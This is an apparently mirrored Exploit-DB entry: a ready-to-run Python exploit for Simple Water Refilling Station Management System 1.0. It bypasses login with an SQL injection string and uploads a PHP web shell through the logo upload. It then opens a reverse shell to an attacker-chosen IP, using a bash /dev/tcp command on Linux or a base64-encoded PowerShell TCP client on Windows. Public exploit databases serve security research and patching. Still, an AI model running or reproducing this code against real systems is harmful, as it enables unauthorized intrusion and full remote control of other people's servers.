Simple Water Refilling Station Management System 1.0 – Remote Code Execution (RCE) through File Upload

  • 作者: Matt Sorrell
    日期: 2021-08-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50205/
  • # Exploit Title: Simple Water Refilling Station Management System 1.0 - Remote Code Execution (RCE) through File Upload
    # Exploit Author: Matt Sorrell
    # Date: 2021-08-14
    # Vendor Homepage: https://www.sourcecodester.com
    # Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html
    # Version: 1.0
    # Tested On: Windows Server 2019 and XAMPP 7.4.22
    
    # The Simple Water Refilling Station Management System 
    # contains a file upload vulnerability that allows for remote 
    # code execution against the target.This exploit requires 
    # the user to be authenticated, but a SQL injection in the login form 
    # allows the authentication controls to be bypassed.The application does not perform
    # any validation checks against the uploaded file at "/classes/SystemSettings.php"
    # and the directory it is placed in allows for execution of PHP code.
    
    
    #!/usr/bin/env python3
    
    import requests
    from bs4 import BeautifulSoup as bs
    import time
    import subprocess
    import base64
    import sys
    
    
    def login_with_injection(url, session):
    	target = url + "/classes/Login.php?f=login"
    
    	data = {
    		"username": "test' OR 1=1-- -",
    		"password": "test"
    	}
    
    	r = session.post(target, data=data)
    	if '"status":"success"' in r.text:
    		return True
    	else:
    		return False
    
    def upload_shell(url, session):
    	target = url + "/classes/SystemSettings.php?f=update_settings"
    
    	files = {'img': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'application/x-php')}
    
    	r = session.post(target, files=files)
    	
    	if r.headers['Content-Length'] != 1:
    		print("[+] Shell uploaded.\n")
    		return r.links
    	else:
    		print("Error uploading file.Exiting.")
    		exit(-1)
    
    def activate_shell(url, session, OS, rev_ip, rev_port):
    	target = url + "/admin/?page=system_info"
    
    	r = session.get(target)
    	page_data = r.text
    	soup = bs(page_data, features='lxml')
    
    	for link in soup.find_all('link'):
    		if "shell" in link.get('href'):
    			shell_url = link.get('href')
    			break
    
    
    	print(f"[+] Found URL for shell: {shell_url}\n")
    
    	print("[*] Attempting to start reverse shell...")
    
    	subprocess.Popen(["nc","-nvlp",f"{rev_port}"])
    	time.sleep(1)
    
    	if OS.lower() == "linux":
    		cmd = f"bash -c 'bash -i >& /dev/tcp/{rev_ip}/{rev_port}'"
    	else:
    		cmd = f"$TCPClient = New-Object Net.Sockets.TCPClient('{rev_ip}', {rev_port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {{[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {{0}};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {{$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {{Invoke-Expression $Command 2>&1 | Out-String}} catch {{$_ | Out-String}}WriteToStream ($Output)}}$StreamWriter.Close()".strip()
    
    		cmd = "C:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe -enc " + base64.b64encode(cmd.encode('UTF-16LE')).decode()
    
    	r = session.get(shell_url+"?cmd="+cmd)
    
    def main():
    	
    	if len(sys.argv) != 5:
    		print(f"(+) Usage:\t python3 {sys.argv[0]} <TARGET IP> <LISTENING IP> <LISTENING PORT> <WINDOWS/LINUX Target>")
    		print(f"(+) Usage:\t python3 {sys.argv[0]} 10.1.1.1 10.1.1.20 443 windows")
    		exit(-1)
    	else:
    		ip = sys.argv[1]
    		rev_ip = sys.argv[2]
    		rev_port = sys.argv[3]
    		OS = sys.argv[4]
    
    	URL = f"http://{ip}/water_refilling"
    
    
    	s = requests.Session()
    
    	print("[*] Trying to bypass authentication through SQL injection...\n")
    
    	if not login_with_injection(URL, s):
    		print("[-] Failed to login.Exiting.")
    		exit(-1)
    	else:
    		print("[+] Successfully logged in.\n")
    
    	time.sleep(2)
    	print("[*] Trying to upload shell through system logo functionality...\n")
    	
    	links = upload_shell(URL, s)
    
    	# Sleeping for 2 seconds to avoid problems finding the file uploaded
    	time.sleep(2)
    
    	print("[*] Getting shell URL and sending reverse shell command...\n")
    	activate_shell(URL, s, OS, rev_ip, rev_port)
    
    	while True:
    		pass
    
    
    if __name__ == "__main__":
    	main()